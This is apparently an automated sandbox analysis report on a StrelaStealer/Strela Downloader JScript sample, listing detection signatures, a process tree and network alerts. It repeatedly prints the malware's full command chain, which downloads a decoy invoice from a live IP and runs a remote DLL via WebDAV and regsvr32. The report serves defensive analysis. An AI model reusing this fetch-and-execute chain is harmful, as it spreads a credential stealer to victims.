Edit tour

Windows Analysis Report
1667730710460316051.js

Overview

General Information

Sample name:	1667730710460316051.js
Analysis ID:	1588201
MD5:	6128865333e0eb265d56b6fc5c75bcca
SHA1:	a83388db02ab2c01d48dc5d880cf05e83eff33c7
SHA256:	04045f08445c7bfa5d6cdd831de46d5e1add1c514ee8076b74fa24f6d1ae5a3d
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3652 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2552 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 320 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6912 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7260 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7468 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1724,i,11817001446608972459,18092825154791286163,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6676 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6356 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7324 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3652	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 320, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 320, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js", ProcessId: 3652, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6356, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49701

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, ProcessId: 2552, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, ProcessId: 2552, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, ProcessId: 2552, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, ProcessId: 2552, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, ProcessId: 2552, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, ProcessId: 2552, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js", ProcessId: 3652, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 320, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6676, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6356, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7324, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6676, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6356, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll, ProcessId: 2552, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:35:43.097640+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49701	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:35:40.548376+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1667730710460316051.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1667730710460316051.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49701 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:35:40 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 